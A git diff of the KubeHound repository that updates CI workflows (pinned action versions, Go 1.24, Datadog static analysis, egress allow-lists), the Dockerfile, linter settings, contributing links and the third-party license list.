diff --git a/.github/workflows/buildx.yml b/.github/workflows/buildx.yml index 76a5d07df..9e363b00e 100644 --- a/.github/workflows/buildx.yml +++ b/.github/workflows/buildx.yml @@ -18,16 +18,13 @@ jobs: outputs: matrix: ${{ steps.platforms.outputs.matrix }} steps: - - - name: Checkout - uses: actions/checkout@v3 - - - name: Create matrix + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Create matrix id: platforms run: | echo matrix=$(docker buildx bake binary-cross --print | jq -cr '.target."binary-cross".platforms') >> $GITHUB_OUTPUT - - - name: Show matrix + - name: Show matrix run: | echo ${{ steps.platforms.outputs.matrix }} @@ -39,14 +36,11 @@ jobs: target: - lint steps: - - - name: Checkout - uses: actions/checkout@v3 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Run + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@6524bf65af31da8d45b59e8c27de4bd072b392f5 # v3.8.0 + - name: Run run: | make ${{ matrix.target }} @@ -59,35 +53,29 @@ jobs: matrix: platform: ${{ fromJson(needs.prepare.outputs.matrix) }} steps: - - - name: Prepare + - name: Prepare run: | platform=${{ matrix.platform }} echo "PLATFORM_PAIR=${platform//\//-}" >> $GITHUB_ENV - - - name: Checkout - uses: actions/checkout@v3 - - - name: Set up QEMU - uses: docker/setup-qemu-action@v2 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Build - uses: docker/bake-action@v2 + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Set up QEMU + uses: docker/setup-qemu-action@49b3bc8e6bdd4a60e6116a5414239cba5943d3cf # v3.2.0 + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@6524bf65af31da8d45b59e8c27de4bd072b392f5 # v3.8.0 + - name: Build + uses: docker/bake-action@3fc70e1131fee40a422dd8dd0ff22014ae20a1f3 # v5.11.0 with: targets: release set: | *.platform=${{ matrix.platform }} *.cache-from=type=gha,scope=binary-${{ env.PLATFORM_PAIR }} *.cache-to=type=gha,scope=binary-${{ env.PLATFORM_PAIR }},mode=max - - - name: Upload artifacts - uses: actions/upload-artifact@v3 + - name: Upload artifacts + uses: actions/upload-artifact@6f51ac03b9356f520e9adb1b1b7802705f340c2b # v4.5.0 with: - name: compose - path: ./bin/release/* + name: kubehound-${{ env.PLATFORM_PAIR }} + path: ./bin/release if-no-files-found: error release: @@ -98,37 +86,32 @@ jobs: needs: - binary steps: - - - name: Checkout - uses: actions/checkout@v3 - - - name: Download artifacts - uses: actions/download-artifact@v3 + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Download artifacts + uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8 with: - name: compose - path: bin/release - - - name: Create checksums - working-directory: bin/release + pattern: kubehound-* + path: ./bin/release + merge-multiple: true + - name: Create checksums + working-directory: ./bin/release run: | find . -type f -print0 | sort -z | xargs -r0 shasum -a 256 -b | sed 's# \*\./# *#' > $RUNNER_TEMP/checksums.txt shasum -a 256 -U -c $RUNNER_TEMP/checksums.txt mv $RUNNER_TEMP/checksums.txt . cat checksums.txt | while read sum file; do echo "$sum $file" > ${file#\*}.sha256; done - - - name: List artifacts + - name: List artifacts run: | - tree -nh bin/release - - - name: Check artifacts + tree -nh ./bin/release + - name: Check artifacts run: | - find bin/release -type f -exec file -e ascii -- {} + - - - name: GitHub Release + find ./bin/release -type f -exec file -e ascii -- {} + + - name: GitHub Release if: startsWith(github.ref, 'refs/tags/v') - uses: ncipollo/release-action@58ae73b360456532aafd58ee170c045abbeaee37 # v1.10.0 + uses: ncipollo/release-action@2c591bcc8ecdcd2db72b97d6147f871fcd833ba5 # v1.14.0 with: - artifacts: bin/release/* + artifacts: ./bin/release/* generateReleaseNotes: true draft: true - token: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file + token: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/datadog-static-analysis.yml b/.github/workflows/datadog-static-analysis.yml new file mode 100644 index 000000000..66d922972 --- /dev/null +++ b/.github/workflows/datadog-static-analysis.yml @@ -0,0 +1,22 @@ +name: Datadog Static Analysis + +on: + push: + +permissions: {} + +jobs: + static-analysis: + name: Datadog Static Analyzer + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Check code meets quality and security standards + id: datadog-static-analysis + uses: DataDog/datadog-static-analyzer-github-action@06d501a75f56e4075c67a7dbc61a74b6539a05c8 # v1.2.1 + with: + dd_api_key: ${{ secrets.DD_API_KEY }} + dd_app_key: ${{ secrets.DD_APP_KEY }} + dd_site: datadoghq.com + cpu_count: 2 diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index be9dce112..f8ddc0401 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -17,25 +17,25 @@ jobs: docker-build-push: runs-on: ubuntu-latest strategy: - # https://docs.github.com/en/actions/using-jobs/using-a-matrix-for-your-jobs - matrix: - include: - - dockerfile: deployments/kubehound/kubegraph/Dockerfile - image: graph - workdir: deployments/kubehound/kubegraph/ - - dockerfile: deployments/kubehound/notebook/Dockerfile - image: ui - workdir: deployments/kubehound/notebook/ - - dockerfile: deployments/kubehound/ingestor/Dockerfile - image: ingestor - workdir: . + # https://docs.github.com/en/actions/using-jobs/using-a-matrix-for-your-jobs + matrix: + include: + - dockerfile: deployments/kubehound/graph/Dockerfile + image: graph + workdir: deployments/kubehound/graph/ + - dockerfile: deployments/kubehound/ui/Dockerfile + image: ui + workdir: deployments/kubehound/ui/ + - dockerfile: deployments/kubehound/binary/Dockerfile + image: binary + workdir: . permissions: contents: read packages: write steps: - name: Harden Runner - uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 + uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: # egress-policy: audit egress-policy: block @@ -67,25 +67,28 @@ jobs: productionresultssa8.blob.core.windows.net:443 results-receiver.actions.githubusercontent.com:443 vstsmms.actions.githubusercontent.com:443 + raw.githubusercontent.com:443 + nodejs.org:443 + iojs.org:443 - name: Checkout - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: fetch-depth: 0 - name: Log into registry ${{ env.REGISTRY }} - uses: docker/login-action@f4ef78c080cd8ba55a85445d5b36e214a81df20a + uses: docker/login-action@9780b0c442fbb1117ed29e0efdff1e18412f7567 # v3.3.0 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Set up Docker Buildx - uses: docker/setup-buildx-action@4c0219f9ac95b02789c1075625400b2acbff50b1 + uses: docker/setup-buildx-action@6524bf65af31da8d45b59e8c27de4bd072b392f5 # v3.8.0 - name: Build and push Docker image if: ${{ github.event_name == 'push' }} - uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671 + uses: docker/build-push-action@48aba3b46d1b1fec4febb7c5d0c644b249a11355 # v6.10.0 with: context: ${{ matrix.workdir }} platforms: linux/amd64,linux/arm64 @@ -94,12 +97,12 @@ jobs: build-args: | VERSION=${{ github.ref_name }} tags: | - ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:${{ github.ref_name }} - ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:latest + ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:${{ github.ref_name }} + ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:latest - name: Build and push Docker image if: ${{ github.event_name == 'workflow_dispatch' }} - uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671 + uses: docker/build-push-action@48aba3b46d1b1fec4febb7c5d0c644b249a11355 # v6.10.0 with: context: ${{ matrix.workdir }} platforms: linux/amd64,linux/arm64 @@ -108,5 +111,5 @@ jobs: build-args: | VERSION=${{ github.sha }} tags: | - ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:snapshot-${{ github.sha }} - ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:latest \ No newline at end of file + ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:snapshot-${{ github.sha }} + ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-${{ matrix.image }}:latest diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index 59a066b4e..7abcf9b3f 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -18,7 +18,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Harden Runner - uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 + uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: egress-policy: block allowed-endpoints: > @@ -26,9 +26,9 @@ jobs: github.com:443 pypi.org:443 - - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab - - uses: actions/setup-python@61a6322f88396a6271a6ee3565807d608ecaddd1 + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 with: python-version: 3.x - run: pip install mkdocs-material mkdocs-awesome-pages-plugin markdown-captions - - run: mkdocs gh-deploy --force \ No newline at end of file + - run: mkdocs gh-deploy --force diff --git a/.github/workflows/linter.yml b/.github/workflows/linter.yml index aafbdcb78..fed562b47 100644 --- a/.github/workflows/linter.yml +++ b/.github/workflows/linter.yml @@ -12,9 +12,9 @@ permissions: jobs: linter: runs-on: ubuntu-latest - steps: + steps: - name: Harden Runner - uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 + uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: egress-policy: block allowed-endpoints: > @@ -28,17 +28,18 @@ jobs: storage.googleapis.com:443 uploads.github.com:443 sum.golang.org:443 - + raw.githubusercontent.com:443 + - name: Setup Golang - uses: actions/setup-go@93397bea11091df50f3d7e59dc26a7711a8bcfbe + uses: actions/setup-go@3041bf56c941b39c61721a86cd11f3bb1338122a # v5.2.0 with: - go-version: "1.22" + go-version: "1.24" - name: Checkout Git Repo - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - name: golangci-lint - uses: golangci/golangci-lint-action@3a919529898de77ec3da873e3063ca4b10e7f5cc + uses: golangci/golangci-lint-action@971e284b6050e8a5849b72094c50ab08da042db8 # v6.1.1 with: - version: v1.56.2 - args: ./... \ No newline at end of file + version: v1.64.5 + args: ./... diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml deleted file mode 100644 index 1151f90c1..000000000 --- a/.github/workflows/release.yml +++ /dev/null @@ -1,57 +0,0 @@ -name: kubehound-release - -on: - push: - tags: - - "v*" - -permissions: - contents: read - -jobs: - goreleaser: - runs-on: - group: Large Runner Shared Public - labels: ubuntu-8-core-latest - permissions: - contents: write - steps: - - name: Harden Runner - uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 - with: - egress-policy: block - allowed-endpoints: > - api.github.com:443 - github.com:443 - goreleaser.com:443 - golang.org:443 - go.dev:443 - objects.githubusercontent.com:443 - proxy.golang.org:443 - storage.googleapis.com:443 - uploads.github.com:443 - sum.golang.org:443 - *.docker.io:443 - *.docker.com:443 - gcr.io:443 - repo.maven.apache.org:443 - - - name: Checkout - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab - with: - fetch-depth: 0 - - - name: Setup Golang - uses: actions/setup-go@93397bea11091df50f3d7e59dc26a7711a8bcfbe - with: - go-version: "1.22" - - - name: Run GoReleaser - timeout-minutes: 60 - uses: goreleaser/goreleaser-action@336e29918d653399e599bfca99fadc1d7ffbc9f7 - with: - distribution: goreleaser - version: latest - args: release --clean --config .goreleaser.yaml - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file diff --git a/.github/workflows/system-test.yml b/.github/workflows/system-test.yml index be74df755..13c046e55 100644 --- a/.github/workflows/system-test.yml +++ b/.github/workflows/system-test.yml @@ -6,15 +6,28 @@ on: - main pull_request: +permissions: + contents: read # to fetch code (actions/checkout) + jobs: system-test: runs-on: - group: Large Runner Shared Public + group: Large Runner Shared Public labels: ubuntu-8-core-latest - environment: devenv + services: + dd-agent: + image: ${{ (! github.event.pull_request.head.repo.fork ) && 'gcr.io/datadoghq/agent:7' || '' }} + env: + DD_API_KEY: ${{ secrets.DD_API_KEY }} + DD_TRACE_DEBUG: 1 + DD_LOGS_ENABLED: true + DD_APM_ENABLED: true + DD_HOSTNAME: "kubehound-github-action" + ports: + - 8126:8126 steps: - name: Harden Runner - uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 + uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: egress-policy: block allowed-endpoints: > @@ -33,36 +46,32 @@ jobs: gcr.io:443 repo.maven.apache.org:443 *.datadoghq.com:443 + dl.k8s.io:443 + cdn.dl.k8s.io:443 - - uses: datadog/agent-github-action@8240b406d73cb84cd5085a3919a78f59c258da3a - continue-on-error: true # external contributors will not have access to the secret, but everything else should still work - with: - api_key: ${{ secrets.DD_API_KEY }} - extra_env: DD_TRACE_DEBUG=1,DD_LOGS_ENABLED=true,DD_APM_ENABLED=true - - name: Checkout Git Repo - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - name: Create K8s Kind Cluster - uses: helm/kind-action@9e8295d178de23cbfbd8fa16cf844eec1d773a07 + uses: helm/kind-action@a1b0e391336a6ee6713a0583f8c6240d70863de3 # v1.12.0 with: cluster_name: kubehound.test.local config: test/setup/test-cluster/cluster.yaml wait: 5m env: KUBECONFIG: ./test/setup/.kube-config - + - name: Create K8s resources run: make local-cluster-resource-deploy env: KUBECONFIG: ./test/setup/.kube-config - + - name: Setup Golang - uses: actions/setup-go@93397bea11091df50f3d7e59dc26a7711a8bcfbe + uses: actions/setup-go@3041bf56c941b39c61721a86cd11f3bb1338122a # v5.2.0 with: - go-version: "1.22" + go-version: "1.24" - name: Run integration Tests run: make system-test env: - KIND_KUBECONFIG: .kube-config \ No newline at end of file + KIND_KUBECONFIG: .kube-config diff --git a/.github/workflows/unit-test.yml b/.github/workflows/unit-test.yml index 76fb6a515..8bb96cda0 100644 --- a/.github/workflows/unit-test.yml +++ b/.github/workflows/unit-test.yml @@ -14,7 +14,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Harden Runner - uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 + uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: egress-policy: block allowed-endpoints: @@ -25,14 +25,14 @@ jobs: go.dev:443 storage.googleapis.com:443 *.docker.io:443 - + - name: Setup Golang - uses: actions/setup-go@93397bea11091df50f3d7e59dc26a7711a8bcfbe + uses: actions/setup-go@3041bf56c941b39c61721a86cd11f3bb1338122a # v5.2.0 with: - go-version: "1.22" - + go-version: "1.24" + - name: Checkout Git Repo - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab - + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Run Unit Tests - run: make test \ No newline at end of file + run: make test diff --git a/.gitignore b/.gitignore index a35cbfa6c..4a10430b7 100644 --- a/.gitignore +++ b/.gitignore @@ -8,7 +8,6 @@ bin/ *.dll *.so *.dylib -*.jar *.class *.lst @@ -33,7 +32,6 @@ dist/ cmd/kubehound/kubehound cmd/kubehound/__debug_bin -cmd/kubehound-ingestor/kubehound-ingestor deployments/kubehound/data deployments/kubehound/data/* @@ -53,7 +51,7 @@ test/system/generator/generator scripts/collectors/ # java -deployments/kubehound/kubegraph/dsl/kubehound/target +deployments/kubehound/graph/dsl/kubehound/target # personal settings .vscode/settings.json @@ -100,4 +98,4 @@ override.tf.json # Ignore CLI configuration files .terraformrc -terraform.rc \ No newline at end of file +terraform.rc diff --git a/.golangci.yml b/.golangci.yml index bca4771bb..454479f75 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -13,6 +13,7 @@ linters: - bodyclose - containedctx - contextcheck + - copyloopvar # - cyclop - decorder - dogsled @@ -22,10 +23,8 @@ linters: - errchkjson - errname - errorlint - - execinquery - exhaustive # - exhaustruct - - exportloopref - forbidigo - forcetypeassert # - gci @@ -41,8 +40,7 @@ linters: # - gofumpt - goheader - goimports - - gomnd - - gomoddirectives + # - gomoddirectives - gomodguard - goprintffuncname - gosec @@ -77,7 +75,6 @@ linters: - sqlclosecheck - staticcheck # - stylecheck TODO reeanble - - tenv - testableexamples # - testpackage - thelper @@ -87,6 +84,7 @@ linters: - unparam - unused - usestdlibvars + - usetesting - wastedassign # - whitespace - # - wrapcheck #TODO: add it back later potentially? \ No newline at end of file + # - wrapcheck #TODO: add it back later potentially? diff --git a/.goreleaser.yaml b/.goreleaser.yaml deleted file mode 100644 index 804187f91..000000000 --- a/.goreleaser.yaml +++ /dev/null @@ -1,51 +0,0 @@ -before: - hooks: - - go mod tidy -builds: - - env: - - CGO_ENABLED=0 - goos: - - linux - - windows - - darwin - ldflags: - - -X pkg/config.BuildVersion={{.Version}} - - dir: cmd/kubehound - binary: kubehound -archives: - - name_template: >- - {{ .ProjectName }}_ - {{- title .Os }}_ - {{- if eq .Arch "amd64" }}x86_64 - {{- else if eq .Arch "386" }}i386 - {{- else }}{{ .Arch }}{{ end }} - wrap_in_directory: true - files: - - LICENSE - - LICENSE-3rdparty.csv - - NOTICE - - README.md - - deployments/kubehound/**/* - - deployments/kubehound/docker-compose.yaml - - deployments/kubehound/docker-compose.datadog.yaml - - deployments/kubehound/docker-compose.release.yaml - - deployments/kubehound/docker-compose.ui.yaml - - src: scripts/kubehound.sh - dst: kubehound.sh - - src: scripts/kubehound.bat - dst: kubehound.bat - - src: configs/etc/kubehound.yaml - dst: config.yaml - - src: configs/etc/kubehound-reference.yaml - dst: config-reference.yaml -checksum: - name_template: 'checksums.txt' -snapshot: - name_template: "{{ incpatch .Version }}-next" -changelog: - sort: asc - filters: - exclude: - - '^docs:' - - '^test:' diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2ec8aedad..bec3ac1b5 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -35,10 +35,9 @@ If a PR sits open for more than a month awaiting work or replies by the author, To add a new attack to KubeHound, please do the following: + Document the attack in the [edges documentation](./docs/reference/attacks) directory -+ Define the attack constraints in the graph database [schema builder](../deployments/kubehound/janusgraph/kubehound-db-init.groovy) -+ Create an implementation of the [edge.Builder](../pkg/kubehound/graph/edge/builder.go) interface that determines whether attacks are possible by quering the store database and writes any found as edges into the graph database -+ Create the [resources](../test/setup/test-cluster/attacks/) file in the test cluster that will introduce an instance of the attack into the test cluster -+ Add an [edge system test](../test/system/graph_edge_test.go) that verifies the attack is correctly created by KubeHound ++ Define the attack constraints in the graph database [schema builder](./deployments/kubehound/graph/kubehound-db-init.groovy) ++ Create an implementation of the [edge.Builder](./pkg/kubehound/graph/edge/builder.go) interface that determines whether attacks are possible by quering the store database and writes any found as edges into the graph database ++ Create the [resources](./test/setup/test-cluster/attacks/) file in the test cluster that will introduce an instance of the attack into the test cluster ++ Add an [edge system test](./test/system/graph_edge_test.go) that verifies the attack is correctly created by KubeHound - See [here](https://github.com/DataDog/KubeHound/pull/68/files) for a previous example PR. - \ No newline at end of file +See [here](https://github.com/DataDog/KubeHound/pull/68/files) for a previous example PR. diff --git a/Dockerfile b/Dockerfile index 297259da6..8a3ab707a 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,8 +1,8 @@ # syntax=docker/dockerfile:1 -ARG GO_VERSION=1.22.0 -ARG XX_VERSION=1.2.1 -ARG GOLANGCI_LINT_VERSION=v1.55.2 +ARG GO_VERSION=1.24.0 +ARG XX_VERSION=1.6.1 +ARG GOLANGCI_LINT_VERSION=v1.64.5 # xx is a helper for cross-compilation FROM --platform=${BUILDPLATFORM} tonistiigi/xx:${XX_VERSION} AS xx @@ -15,14 +15,14 @@ FROM golangci/golangci-lint:${GOLANGCI_LINT_VERSION}-alpine AS golangci-lint FROM --platform=${BUILDPLATFORM} golang:${GO_VERSION}-alpine AS base COPY --from=xx / / RUN apk add --no-cache \ - clang \ - docker \ - file \ - findutils \ - git \ - make \ - protoc \ - protobuf-dev + clang \ + docker \ + file \ + findutils \ + git \ + make \ + protoc \ + protobuf-dev WORKDIR /src ENV CGO_ENABLED=0 @@ -49,14 +49,18 @@ RUN --mount=type=bind,target=.,rw \ FROM build-base AS build ARG BUILD_TAGS +ARG BUILD_BRANCH ARG BUILD_FLAGS ARG TARGETPLATFORM +ENV BUILD_BRANCH="${BUILD_BRANCH}" RUN --mount=type=bind,target=. \ --mount=type=cache,target=/root/.cache \ --mount=type=cache,target=/go/pkg/mod \ --mount=type=bind,from=osxcross,src=/osxsdk,target=/xx-sdk \ xx-go --wrap && \ - if [ "$(xx-info os)" == "darwin" ]; then export CGO_ENABLED=1; fi && \ + # Removing DWARD symbol on Darwin as it causes the following error: + # /usr/local/go/pkg/tool/linux_arm64/link: /usr/local/go/pkg/tool/linux_arm64/link: running dsymutil failed: exec: "dsymutil": executable file not found in $PATH + if [ "$(xx-info os)" == "darwin" ]; then export CGO_ENABLED=1; export BUILD_TAGS="-w $BUILD_TAGS"; fi && \ make build GO_BUILDTAGS="$BUILD_TAGS" DESTDIR=/out && \ xx-verify --static /out/kubehound @@ -97,8 +101,12 @@ RUN --mount=from=binary \ mkdir -p /out && \ # TODO: should just use standard arch TARGETARCH=$([ "$TARGETARCH" = "amd64" ] && echo "x86_64" || echo "$TARGETARCH"); \ - TARGETARCH=$([ "$TARGETARCH" = "arm64" ] && echo "aarch64" || echo "$TARGETARCH"); \ + # Use arm64 for darwin + TARGETARCH=$([ "$TARGETARCH" = "arm64" ] && [ "$TARGETOS" != "darwin" ] && echo "aarch64" || echo "$TARGETARCH"); \ + # Upper case first letter to match the uname -o output + TARGETOS=$([ "$TARGETOS" = "darwin" ] && echo "Darwin" || echo "$TARGETOS"); \ + TARGETOS=$([ "$TARGETOS" = "linux" ] && echo "Linux" || echo "$TARGETOS"); \ cp kubehound* "/out/kubehound-${TARGETOS}-${TARGETARCH}${TARGETVARIANT}$(ls kubehound* | sed -e 's/^kubehound//')" FROM scratch AS release -COPY --from=releaser /out/ / \ No newline at end of file +COPY --from=releaser /out/ / diff --git a/LICENSE-3rdparty.csv b/LICENSE-3rdparty.csv index 2970d54a0..0f5c38403 100644 --- a/LICENSE-3rdparty.csv +++ b/LICENSE-3rdparty.csv @@ -1,112 +1,217 @@ +cel.dev/expr,https://github.com/google/cel-spec/blob/v0.19.0/LICENSE,Apache-2.0,Google +cloud.google.com/go/auth,https://github.com/googleapis/google-cloud-go/blob/auth/v0.13.0/auth/LICENSE,Apache-2.0,Google APIs +cloud.google.com/go/auth/oauth2adapt,https://github.com/googleapis/google-cloud-go/blob/auth/oauth2adapt/v0.2.6/auth/oauth2adapt/LICENSE,Apache-2.0,Google APIs +cloud.google.com/go/compute/metadata,https://github.com/googleapis/google-cloud-go/blob/compute/metadata/v0.6.0/compute/metadata/LICENSE,Apache-2.0,Google APIs +cloud.google.com/go/iam,https://github.com/googleapis/google-cloud-go/blob/iam/v1.2.2/iam/LICENSE,Apache-2.0,Google APIs +cloud.google.com/go/internal,https://github.com/googleapis/google-cloud-go/blob/v0.116.0/LICENSE,Apache-2.0,Google APIs +cloud.google.com/go/monitoring,https://github.com/googleapis/google-cloud-go/blob/monitoring/v1.21.2/monitoring/LICENSE,Apache-2.0,Google APIs +cloud.google.com/go/storage,https://github.com/googleapis/google-cloud-go/blob/storage/v1.49.0/storage/LICENSE,Apache-2.0,Google APIs +github.com/Azure/azure-sdk-for-go/sdk/azcore,https://github.com/Azure/azure-sdk-for-go/blob/sdk/azcore/v1.16.0/sdk/azcore/LICENSE.txt,MIT,Microsoft Azure +github.com/Azure/azure-sdk-for-go/sdk/azidentity,https://github.com/Azure/azure-sdk-for-go/blob/sdk/azidentity/v1.8.0/sdk/azidentity/LICENSE.txt,MIT,Microsoft Azure +github.com/Azure/azure-sdk-for-go/sdk/internal,https://github.com/Azure/azure-sdk-for-go/blob/sdk/internal/v1.10.0/sdk/internal/LICENSE.txt,MIT,Microsoft Azure +github.com/Azure/azure-sdk-for-go/sdk/storage/azblob,https://github.com/Azure/azure-sdk-for-go/blob/sdk/storage/azblob/v1.5.0/sdk/storage/azblob/LICENSE.txt,MIT,Microsoft Azure +github.com/Azure/go-autorest/autorest/to,https://github.com/Azure/go-autorest/blob/autorest/to/v0.4.0/autorest/to/LICENSE,Apache-2.0,Microsoft Azure +github.com/AzureAD/microsoft-authentication-library-for-go/apps,https://github.com/AzureAD/microsoft-authentication-library-for-go/blob/v1.3.2/LICENSE,MIT,Azure Active Directory github.com/DataDog/KubeHound,https://github.com/DataDog/KubeHound/blob/HEAD/LICENSE,Apache-2.0,Datadog, Inc. -github.com/DataDog/datadog-agent/pkg/obfuscate,https://github.com/DataDog/datadog-agent/blob/pkg/obfuscate/v0.45.0-rc.1/pkg/obfuscate/LICENSE,Apache-2.0,Datadog, Inc. -github.com/DataDog/datadog-agent/pkg/remoteconfig/state,https://github.com/DataDog/datadog-agent/blob/pkg/remoteconfig/state/v0.45.0-rc.1/pkg/remoteconfig/state/LICENSE,Apache-2.0,Datadog, Inc. -github.com/DataDog/datadog-go/v5/statsd,https://github.com/DataDog/datadog-go/blob/v5.1.1/LICENSE.txt,MIT,Datadog, Inc. -github.com/DataDog/go-tuf,https://github.com/DataDog/go-tuf/blob/v0.3.0--fix-localmeta-fork/LICENSE,BSD-3-Clause,Datadog, Inc. -github.com/DataDog/gostackparse,https://github.com/DataDog/gostackparse/blob/v0.5.0/LICENSE,Apache-2.0,Datadog, Inc. -github.com/DataDog/sketches-go/ddsketch,https://github.com/DataDog/sketches-go/blob/v1.3.0/LICENSE,Apache-2.0,Datadog, Inc. -github.com/alitto/pond,https://github.com/alitto/pond/blob/v1.8.3/LICENSE,MIT,Alejandro Durante -github.com/andres-erbsen/clock,https://github.com/andres-erbsen/clock/blob/9e14626cd129/LICENSE,MIT,Andres Erbsen -github.com/apache/tinkerpop/gremlin-go/v3/driver,https://github.com/apache/tinkerpop/blob/gremlin-go/v3.6.4/gremlin-go/driver/README.md,Apache-2.0,The Apache Software Foundation +github.com/DataDog/appsec-internal-go,https://github.com/DataDog/appsec-internal-go/blob/v1.9.0/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/datadog-agent/pkg/obfuscate,https://github.com/DataDog/datadog-agent/blob/pkg/obfuscate/v0.58.0/pkg/obfuscate/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/datadog-agent/pkg/proto/pbgo/trace,https://github.com/DataDog/datadog-agent/blob/pkg/proto/v0.58.0/pkg/proto/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/datadog-agent/pkg/remoteconfig/state,https://github.com/DataDog/datadog-agent/blob/pkg/remoteconfig/state/v0.58.0/pkg/remoteconfig/state/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/datadog-agent/pkg/trace,https://github.com/DataDog/datadog-agent/blob/pkg/trace/v0.58.0/pkg/trace/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/datadog-agent/pkg/util/log,https://github.com/DataDog/datadog-agent/blob/pkg/util/log/v0.58.0/pkg/util/log/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/datadog-agent/pkg/util/scrubber,https://github.com/DataDog/datadog-agent/blob/pkg/util/scrubber/v0.58.0/pkg/util/scrubber/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/datadog-go/v5/statsd,https://github.com/DataDog/datadog-go/blob/v5.6.0/LICENSE.txt,MIT,Datadog, Inc. +github.com/DataDog/go-libddwaf/v3,https://github.com/DataDog/go-libddwaf/blob/v3.5.1/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/go-runtime-metrics-internal/pkg/runtimemetrics,https://github.com/DataDog/go-runtime-metrics-internal/blob/a14610dc22b6/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/go-sqllexer,https://github.com/DataDog/go-sqllexer/blob/v0.0.14/LICENSE,MIT,Datadog, Inc. +github.com/DataDog/go-tuf,https://github.com/DataDog/go-tuf/blob/v1.1.0-0.5.2/LICENSE,BSD-3-Clause,Datadog, Inc. +github.com/DataDog/gostackparse,https://github.com/DataDog/gostackparse/blob/v0.7.0/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/opentelemetry-mapping-go/pkg/otlp/attributes,https://github.com/DataDog/opentelemetry-mapping-go/blob/pkg/otlp/attributes/v0.20.0/pkg/otlp/attributes/LICENSE,Apache-2.0,Datadog, Inc. +github.com/DataDog/sketches-go/ddsketch,https://github.com/DataDog/sketches-go/blob/v1.4.5/LICENSE,Apache-2.0,Datadog, Inc. 